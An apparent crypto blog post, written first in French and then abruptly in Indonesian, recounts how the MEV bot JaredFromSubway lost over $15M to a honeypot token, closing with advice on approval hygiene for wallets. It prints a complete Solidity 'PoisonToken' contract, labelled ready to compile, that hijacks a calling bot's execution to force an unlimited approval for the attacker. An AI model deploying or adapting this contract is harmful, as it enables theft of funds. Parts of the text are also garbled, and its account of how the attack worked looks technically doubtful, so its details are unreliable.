Appuyez sur ESC pour fermer

MEV Bot Jaredfromsubway : Comment il a perdu 15M$

L'histoire de JaredFromSubway, ce n'est pas juste un hack DeFi de plus, c'est un séisme complet dans la « chaîne alimentaire » d'Ethereum. Pendant un sacré bout de temps, les bots MEV passaient pour les prédateurs absolus du mempool, les mecs tout en haut de l'arbre qui enchaînaient les simulations de pointe pour piquer des thunes sans risque sur le dos des traders retail via des sandwich attacks. Sauf que ce coup-là, qui a coûté plus de 15 millions de dollars aux opérateurs de JaredFromSubway, a prouvé un truc : l'automatisation sans une isolation totale du contexte d'exécution, c'est direct l'échafaud.

Voici l'autopsie technique complète de l'exploit, comment le honey pot a été ficelé et le modèle de code foireux qui a transformé le sniper le plus affûté de l'écosystème en vulgaire donneur de liquidité.

Anatomie du glitch : Où l'algo de Jared a-t-il disjoncté ?

Les bots MEV classiques spécialisés dans les sandwich attacks s'appuient sur des moteurs de simulation off-chain (généralement des clients Geth/Erigon lourdement modifiés). Avant de balancer un bundle via Flashbots ou la Builder API, le bot fait tourner l'état de l'EVM en local. Si la simulation montre un gain net en WETH, le pack de transactions est envoyé aux builders pour intégrer le bloc.

Les attaquants ont exploité une faille logique fondamentale de ce process : l'exécution dynamique d'un bytecode non vérifié.

Le bot de JaredFromSubway optimisait ses routes à mort pour gratter sur les frais de gas. Pour s'éviter de déployer un nouveau smart contract à chaque trade, il passait par un contrat-router permanent qui stockait la liquidité accumulée et disposait d'infinite approvals (des autorisations illimitées) sur plusieurs pools Uniswap V2/V3. Le bot partait du principe naïf qu'un token ERC-20 externe ne présentait aucun danger tant que l'équation mathématique des soldes de la pool retombait sur ses pattes avant et après le swap.

Les mecs en face ont retourné cette certitude contre lui en créant un token-appât dont la fonction transfer/transferFrom embarquait un payload malveillant. Dès que le bot a déclenché la fonction swap sur la pool, l'EVM a filé les clés de l'exécution au code du token toxique. Au lieu de bêtement mettre à jour les balances dans le mapping, le contrat piégé a balancé un call de bas niveau directement dans le contrat du bot, le forçant à signer un approve en faveur de l'adresse du hacker sur ses assets les plus critiques (**WETH**, **USDC**, **USDT**). Le simulateur off-chain du bot n'a vu que du feu : pendant le test local, le solde de tokens grimpait, alors que le braquage des vrais fonds n'intervenait qu'à l'étape d'après, que le bot avait déjà validée comme safe.

La chronologie de l'attaque, step by step

  • 1. Setup de l'infra et déploiement du token empoisonné

    Les hackers ont déployé le smart contract du token et injecté de la liquidité dans la pool. Le token cachait une logique customisée pour rester totalement dormante, sauf si la transaction était initiée par l'adresse bien connue du router de JaredFromSubway.

  • 2. L'amorçage (Baiting)

    L'équipe d'en face a balancé un énorme ordre d'achat sur son propre token de merde directement dans le mempool public. Pour les algos du bot, c'était le setup parfait pour un sandwich d'école : liquidité ultra-faible sur la pool, gros slippage garanti et un max de profit mathématique sur le frontrun.

  • 3. Le détournement (The Hijacking)

    Le bot a sniffé la transaction, a packagé le bundle et a rincé le validateur avec une grosse priority fee pour passer prems dans le bloc.

    [Bloc Ethereum]
    ├── Tx 1 (Frontrun) : Le bot achète le fake token -> Activation du payload malveillant -> Appel forcé de approve()
    ├── Tx 2 (Victime) : Le hacker exécute le swap prévu
    └── Tx 3 (Backrun) : Le bot essaie de dump le token (déjà hors-jeu à ce stade)

    Au moment où la Tx 1 a tapé la pool, le contrat du token a hijacké le flux d'exécution de l'EVM. Profitant d'une erreur d'architecture du router qui faisait une confiance aveugle aux tokens qu'il échangeait, le contrat du hacker a forcé le bot à exécuter : asset.approve(attacker_address, type(uint256).max).

  • 4. Vidage des wallets via transferFrom

    Une fois les pleins pouvoirs obtenus sur les plus grosses lignes du bot, les hackers n'ont même pas attendu la validation finale du bloc. Dans la foulée de la même attaque (atau direct dans le bloc suivant via des bundles atomiques), le contrat malveillant a trigger la fonction transferFrom sur les contrats **WETH**, **USDC** et **USDT**. Au total, toutes adresses confondues, JaredFromSubway s'est fait siphonner plus de 15 millions de dollars, dont un seul gros tir à 7,5 millions.

Tableau comparatif : Sandwich classique vs Exploit « Jared »

ParamètreSandwich classique (Jared)Contre-attaque des hackers (Honey Pot)
CibleLe user retail (market order)Le bot MEV (router automatisé)
Outil principalPrice manipulation en jouant sur l'ordre des txInjection de bytecode malveillant via l'ERC-20
Vecteur d'attaqueGros niveau de slippage toléré par le traderAbsence d'isolation des droits (Approvals) dans le bot
RésultatLe bot gratte des micro-spreads (0.1% - 5%)Le hacker braque toute la liquidité de roulement du bot

Arsitektur "Poisoned Token" (Contoh Konsep PoC)

Di bawah ini adalah smart contract Solidity siap pakai dan bisa dikompilasi, yang ngebongkar gimana sebuah token buatan (honeypot) bisa nge-hijack execution flow dan maksa contract yang manggil buat ngasih infinite approval.

Penting: Kode ini disediain murni buat edukasi biar paham attack vector-nya dan bantu para dev ngerancang sistem pertahanan yang lebih solid. Jangan dipake buat nge-scam.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function approve(address spender, uint256 value) external returns (bool);
}
contract PoisonToken {
    string public name = "HoneyPot MEV Bait";
    string public symbol = "BAIT";
    uint8 public decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    address public immutable attacker;
    address public targetBot;
    address public immutable targetAsset; // Contohnya contract WETH
    bool private inAttack;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    constructor(address _targetAsset) {
        attacker = msg.sender;
        targetAsset = _targetAsset;
        totalSupply = 1000000 * 10 ** uint256(decimals);
        balanceOf[msg.sender] = totalSupply;
    }
    function setTargetBot(address _bot) external {
        require(msg.sender == attacker, "Only attacker can set target");
        targetBot = _bot;
    }
    function transfer(address to, uint256 value) external returns (bool) {
        _transfer(msg.sender, to, value);
        return true;
    }
    function transferFrom(address from, address to, uint256 value) external returns (bool) {
        uint256 allowed = allowance[from][msg.sender];
        if (allowed != type(uint256).max) {
            require(allowed >= value, "ERC20: insufficient allowance");
            allowance[from][msg.sender] = allowed - value;
        }
        _transfer(from, to, value);
        return true;
    }
    function approve(address spender, uint256 value) external returns (bool) {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }
    function _transfer(address from, address to, uint256 value) internal {
        require(balanceOf[from] >= value, "ERC20: transfer amount exceeds balance");
        
        balanceOf[from] -= value;
        balanceOf[to] += value;
        emit Transfer(from, to, value);
        // Trigger attack: kalau panggilan berasal dari bot atau menuju bot, dan belum masuk reentrancy loop
        if ((from == targetBot || to == targetBot) && !inAttack && targetBot != address(0)) {
            inAttack = true;
            
            // Eksekusi low-level call mirip reentrancy langsung balik ke contract bot.
            // Kita eksploitasi logika bot yang asal eksekusi arbitrary call 
            // berdasarkan data yang dikirim ke dia pas lagi di tengah-tengah swap.
            // Di sini kita maksa si bot approve WETH buat si attacker.
            bytes memory payload = abi.encodeWithSignature(
                "approve(address,uint256)", 
                attacker, 
                type(uint256).max
            );
            
            // Bot bakal nelan call ini mentah-mentah karena router-nya percaya instruksi dari context pool
            (bool success, ) = targetBot.call(payload);
            require(success, "Exploit execution failed");
            
            inAttack = false;
        }
    }
}

Cara Amankan Aset: Pelajaran Mahal buat User Retail

Meskipun perang ini terjadi di level "Predator vs Alien" alias antar pemain MEV kelas paus, kita sebagai user retail bisa dapet pelajaran berharga soal menjaga kebersihan wallet. Bot JaredFromSubway kena rekt parah gara-gara asal ngasih izin tak terbatas (infinite approval). Risiko yang sama persis dihadapin sama wallet user biasa tiap harinya.

Tiap kali lu interaksi sama protokol DeFi (entah itu swap di Uniswap, ngelewati router 1inch, atau naruh dana di platform lending), wallet lu bakal minta sign dua transaksi: pertama itu Approve (ngasih izin contract buat ngutak-atik token lu), dan kedua baru transaksi Swap atau Deposit-nya.

Kebanyakan dApps secara default langsung minta akses ke jumlah token lu tanpa batas (uint256.max). Alasan klisenya demi UX, biar lu gak usah bayar gas fee lagi buat approval baru tiap kali mau trading ke depannya.

Tapi apesnya: kalau smart contract protokol itu kena exploit (kayak yang kejadian sama router-nya Jared), atau lu gak sengaja sign approval di situs phishing, si attacker bisa kapan aja manggil fungsi transferFrom dan langsung nguras isi wallet lu sampai bersih—padahal token lu cuma diem manis di dalam address.

Checklist: Biar Gak Kebobolan gara-gara Hidden Approval

  • Atur Batas Manual (Custom Allowance):

    Pas dapet prompt Approve di MetaMask atau Rabby Wallet, jangan pernah asal klik "Max" atau "Sesuai Rekomendasi". Masukin manual jumlah token yang emang mau lu swap saat itu juga. Kalau lu cuma mau swap 100 USDC, ya set approval-nya ketat di angka 100 USDC aja.

  • Rajin-rajin Revoke Izin Wallet:

    Bikin kebiasaan sebulan sekali buat audit approval yang masih aktif di wallet lu. Pake tools yang udah terpercaya kayak Revoke.cash atau langsung cek menu Token Approvals di block explorer kayak Etherscan.

  • Pisah Wallet Sesuai Kebutuhan (Wallet Segregation):

    Taruh porsi terbesar modal lu di cold hardware wallet yang bener-bener steril—gak pernah interaksi atau sign apa pun sama smart contract. Buat trading harian, nyopet shitcoin, atau minting NFT, pake "burner hot wallet" yang isinya dikit dan lu ikhlas kalau sewaktu-waktu apes kena reentrancy attack atau pool-nya kena hack.

Astra EXMON

Astra is the official voice of EXMON and the editorial collective dedicated to bringing you the most timely and accurate information from the crypto market. Astra represents the combined expertise of our internal analysts, product managers, and blockchain engineers.

...

Partager votre avis

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués *